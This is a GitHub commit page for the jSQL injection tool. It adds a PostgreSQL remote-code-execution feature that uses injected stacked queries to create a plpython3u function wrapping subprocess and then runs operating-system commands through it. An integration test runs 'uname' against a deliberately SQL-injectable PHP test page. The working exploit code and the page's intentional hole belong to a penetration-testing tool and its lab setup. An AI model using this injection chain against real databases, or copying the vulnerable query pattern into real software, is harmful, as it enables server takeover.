Skip to content

Commit

Permalink
Add RCE postgres via plpython3u
Browse files Browse the repository at this point in the history
- Add RCE postgres integration test
- Fixes #95984
- Fixes #95985
  • Loading branch information
ron190 committed Feb 2, 2025
1 parent 4e4c7c3 commit e1f7962
Show file tree
Hide file tree
Showing 20 changed files with 265 additions and 52 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,6 @@
import org.apache.logging.log4j.Logger;

import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpRequest.BodyPublishers;
import java.net.http.HttpResponse;
Expand Down
66 changes: 63 additions & 3 deletions model/src/main/java/com/jsql/model/accessible/UdfAccess.java
Original file line number Diff line number Diff line change
Expand Up @@ -53,7 +53,46 @@ public UdfAccess(InjectionModel injectionModel) {
this.injectionModel = injectionModel;
}

public void createExploitRce(ExploitMethod exploitMethod) throws JSqlException {
public void createExploitRcePostgres(ExploitMethod exploitMethod) throws JSqlException {
if (!Arrays.asList(ExploitMethod.AUTO, ExploitMethod.QUERY_BODY).contains(exploitMethod)) {
LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Exploit method not implemented, using query body instead");
}

this.injectionModel.injectWithoutIndex(";CREATE EXTENSION plpython3u;", "body#create-ext");
var languages = this.getResult(
"select array_to_string(array(select lanname FROM pg_language),'')",
"body#find-ext"
);
if (!languages.contains("plpython3u")) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: python extension not found");
return;
}

this.injectionModel.injectWithoutIndex(String.join(
"%0a",
"; CREATE OR REPLACE FUNCTION exec_cmd(cmd TEXT) RETURNS text AS%20$$",
"from subprocess import check_output as c",
"return c(cmd).decode()",
"$$%20LANGUAGE plpython3u;"
), "body#create-func");
var functions = this.getResult(
"SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' and routine_name = 'exec_cmd'",
"body#find-func"
);
if (!functions.contains("exec_cmd")) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
return;
}

LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE successful: python function found");

var request = new Request();
request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_POSTGRES);
request.setParameters(null, null);
this.injectionModel.sendToViews(request);
}

public void createExploitRceOracle(ExploitMethod exploitMethod) throws JSqlException {
if (!Arrays.asList(ExploitMethod.AUTO, ExploitMethod.QUERY_BODY).contains(exploitMethod)) {
LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Exploit method not implemented, using query body instead");
}
Expand Down Expand Up @@ -105,7 +144,7 @@ public void createExploitRce(ExploitMethod exploitMethod) throws JSqlException {
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE successful: java function found");

var request = new Request();
request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE);
request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_ORACLE);
request.setParameters(null, null);
this.injectionModel.sendToViews(request);
}
Expand Down Expand Up @@ -322,7 +361,7 @@ private boolean buildSysEval(String nameLibrary) throws JSqlException {
return true;
}

public String runCommandRce(String command, UUID uuidShell) {
public String runCommandRceOracle(String command, UUID uuidShell) {
String result;
try {
result = this.getResult(
Expand All @@ -344,6 +383,27 @@ public String runCommandRce(String command, UUID uuidShell) {
return result;
}

public String runCommandRcePostgres(String command, UUID uuidShell) {
String result;
try {
result = this.getResult(
String.format(
"SELECT exec_cmd('%s')||'%s'",
command.replace(StringUtils.SPACE, "%20"), // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
VendorYaml.TRAIL_SQL
),
"rce#run-cmd"
);
} catch (JSqlException e) {
result = "Command failure: " + e.getMessage() +"\nTry '"+ command.trim() +" 2>&1' to get a system error message.\n";
}
var request = new Request();
request.setMessage(Interaction.GET_EXPLOIT_RCE_RESULT);
request.setParameters(uuidShell, result);
this.injectionModel.sendToViews(request);
return result;
}

public String runCommand(String command, UUID uuidShell) {
String result;
try {
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,8 @@ public enum Interaction {
ADD_TAB_EXPLOIT_WEB("AddTabExploitWeb"),
ADD_TAB_EXPLOIT_SQL("AddTabExploitSql"),
ADD_TAB_EXPLOIT_UDF("AddTabExploitUdf"),
ADD_TAB_EXPLOIT_RCE("AddTabExploitRce"),
ADD_TAB_EXPLOIT_RCE_ORACLE("AddTabExploitRceOracle"),
ADD_TAB_EXPLOIT_RCE_POSTGRES("AddTabExploitRcePostgres"),
CREATE_VALUES_TAB("CreateValuesTab"),
CREATE_ANALYSIS_REPORT("CreateAnalysisReport"),

Expand Down
6 changes: 4 additions & 2 deletions model/src/main/java/com/jsql/util/ConnectionUtil.java
Original file line number Diff line number Diff line change
Expand Up @@ -6,14 +6,16 @@
import com.jsql.model.bean.util.Request;
import com.jsql.model.exception.InjectionFailureException;
import com.jsql.model.exception.JSqlException;
import com.jsql.model.exception.JSqlRuntimeException;
import com.jsql.model.injection.method.AbstractMethodInjection;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.IOException;
import java.net.*;
import java.net.Authenticator;
import java.net.CookieManager;
import java.net.PasswordAuthentication;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpClient.Version;
import java.net.http.HttpHeaders;
Expand Down
2 changes: 1 addition & 1 deletion model/src/main/resources/i18n/jsql.properties

Large diffs are not rendered by default.

1 change: 0 additions & 1 deletion model/src/test/java/com/test/AbstractTestSuite.java
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,6 @@
import com.jsql.model.bean.database.Column;
import com.jsql.model.bean.database.Database;
import com.jsql.model.bean.database.Table;
import com.jsql.model.exception.InjectionFailureException;
import com.jsql.model.exception.JSqlException;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
package com.test.vendor.postgres;

import com.jsql.model.InjectionModel;
import com.jsql.model.accessible.ExploitMethod;
import com.jsql.model.exception.JSqlException;
import com.jsql.view.terminal.SystemOutTerminal;
import org.junit.jupiter.api.Assertions;
import org.junitpioneer.jupiter.RetryingTest;

import java.util.UUID;

public class PostgresExploitRceSuiteIT extends ConcretePostgresSuiteIT {

@Override
public void setupInjection() throws Exception {
InjectionModel model = new InjectionModel();
this.injectionModel = model;

model.subscribe(new SystemOutTerminal());

model.getMediatorUtils().getParameterUtil().initQueryString(
"http://jsql-lamp:8079/php/get-pg.php?id="
);

model
.getMediatorUtils()
.getPreferencesUtil()
.withIsStrategyBlindDisabled(true)
.withIsStrategyTimeDisabled(true);

model
.getMediatorUtils()
.getConnectionUtil()
.withMethodInjection(model.getMediatorMethod().getQuery())
.withTypeRequest("GET");

model.beginInjection();
}

@RetryingTest(3)
public void exploitUdfAuto() throws JSqlException {
this.injectionModel.getUdfAccess().createExploitRcePostgres(ExploitMethod.AUTO);
String resultCommand = this.injectionModel.getUdfAccess().runCommandRcePostgres("uname", UUID.randomUUID());
LOGGER.info("rce: found {}, to find {}", resultCommand.trim(), "Linux");
Assertions.assertTrue(resultCommand.trim().contains("Linux"));
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@ public void setupInjection() throws Exception {
}

@RetryingTest(3)
public void exploitWebAuto() throws JSqlException {
public void exploitWebAuto() {
var urlSuccess = this.injectionModel.getResourceAccess().createExploitWebSqlite("/var/www/html/", StringUtils.EMPTY);
String resultCommand = this.injectionModel.getResourceAccess().runWebShell(
"uname",
Expand Down
5 changes: 2 additions & 3 deletions model/src/test/resources/docker/Dockerfile.lamp
Original file line number Diff line number Diff line change
Expand Up @@ -2,12 +2,11 @@ FROM ubuntu:18.04
ENV MYSQL_ROOT_PASSWORD password
ENV POSTGRES_USER postgres
ENV POSTGRES_PASSWORD postgres
RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y dos2unix php php-mysql libapache2-mod-php mysql-server postgresql php-pgsql php-sqlite3
RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y dos2unix php php-mysql libapache2-mod-php mysql-server postgresql php-pgsql php-sqlite3 postgresql-plpython3
EXPOSE 8079 3308 6000
COPY ./lamp/ /var/www/html/
RUN chmod 777 /var/www/html/
# required by sqlite write shell
RUN chmod 777 /var/www/html/php/
RUN chmod 777 /var/www/html/php/ # required by sqlite write shell
RUN chmod +x /var/www/html/start-script.sh
RUN dos2unix /var/www/html/start-script.sh
ENTRYPOINT ["/var/www/html/start-script.sh"]
7 changes: 5 additions & 2 deletions model/src/test/resources/docker/lamp/php/get-pg.php
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
<?php
ini_set('display_errors', 1);
$db = new PDO("pgsql:host=localhost;port=5432;dbname=test", 'postgres', 'my-secret-pw');
foreach($db->query("SELECT '1' FROM (select 1)x where '1'={$_GET['id']}") as $row) {
echo "<li>" . join(',', $row) . "</li>";
$array = explode(";", "SELECT '1' FROM (select 1)x where '1'={$_GET['id']}");
foreach ($array as $item) {
foreach($db->query($item) as $row) {
echo "<li>" . join(',', $row) . "</li>";
}
}
4 changes: 1 addition & 3 deletions model/src/test/resources/docker/lamp/start-script.sh
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,5 @@ su postgres -c '
'

echo "Listen 8079" >> /etc/apache2/ports.conf
sed -i 's/^;extension=sqlite3/extension=sqlite3/' /etc/php/7.2/apache2/php.ini
sed -i 's/^;extension=sqlite3/extension=sqlite3/' /etc/php/7.2/cli/php.ini

sed -i 's/^;extension=sqlite3/extension=sqlite3/' /etc/php/7.2/cli/php.ini /etc/php/7.2/apache2/php.ini
apache2ctl -D FOREGROUND
Original file line number Diff line number Diff line change
Expand Up @@ -43,14 +43,14 @@ public ActionSaveTab() {
// Unhandled NoSuchMethodError #82561 on constructor: NoSuchMethodError
// Unhandled InternalError #93015 on constructor: InvocationTargetException
// Unhandled NullPointerException #95805 on constructor: desktop null on Windows
// Unhandled IllegalArgumentException #95985 on constructor: Comparison method violates its general contract!
try {
this.replaceFileChooser = new ReplaceFileChooser(
MediatorHelper.model().getMediatorUtils().getPreferencesUtil().getPathFile()
);
} catch (NoSuchMethodError | InternalError | NullPointerException e) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Internal error in JFileChooser: {}", e.getMessage());
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Please verify your system and the error stacktrace in tab Java");
LOGGER.log(LogLevelUtil.CONSOLE_JAVA, "Internal error", e);
} catch (IllegalArgumentException | NoSuchMethodError | InternalError | NullPointerException e) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Internal error in JFileChooser, verify your system and see stacktrace in tab Java: {}", e.getMessage());
LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e);
}
this.putValue(Action.ACCELERATOR_KEY, KeyStroke.getKeyStroke(KeyEvent.VK_S, InputEvent.CTRL_DOWN_MASK));
this.putValue(Action.MNEMONIC_KEY, KeyEvent.VK_S);
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,7 @@ public enum Language {
TA("Tamil", "ta", UiUtil.ICON_FLAG_LK),
SE("Swedish", "se", UiUtil.ICON_FLAG_SE),
FI("Finnish", "fi", UiUtil.ICON_FLAG_FI),
OT("another language", "unknown", null);
OT("another language", "unknown", new ImageIcon());

private final String nameEnglish; // required for default logging and english modal translate into
private final ImageIcon flag;
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -18,17 +18,17 @@
/**
* Create a new tab for the terminal.
*/
public class AddTabExploitRce extends CreateTabHelper implements InteractionCommand {
public class AddTabExploitRceOracle extends CreateTabHelper implements InteractionCommand {

/**
* @param interactionParams The local path and url for the shell
*/
public AddTabExploitRce(Object[] interactionParams) {
public AddTabExploitRceOracle(Object[] interactionParams) {
// nothing
}

@Override
public void execute() {
SwingUtilities.invokeLater(() -> MediatorHelper.tabResults().addTabExploitRce());
SwingUtilities.invokeLater(() -> MediatorHelper.tabResults().addTabExploitRceOracle());
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
/*******************************************************************************
* Copyhacked (H) 2012-2025.
* This program and the accompanying materials
* are made available under no term at all, use it like
* you want, but share and discuss it
* every time possible with every body.
*
* Contributors:
* ron190 at ymail dot com - initial implementation
******************************************************************************/
package com.jsql.view.swing.interaction;

import com.jsql.view.interaction.InteractionCommand;
import com.jsql.view.swing.util.MediatorHelper;

import javax.swing.*;

/**
* Create a new tab for the terminal.
*/
public class AddTabExploitRcePostgres extends CreateTabHelper implements InteractionCommand {

/**
* @param interactionParams The local path and url for the shell
*/
public AddTabExploitRcePostgres(Object[] interactionParams) {
// nothing
}

@Override
public void execute() {
SwingUtilities.invokeLater(() -> MediatorHelper.tabResults().addTabExploitRcePostgres());
}
}
Loading

0 comments on commit e1f7962

Please sign in to comment.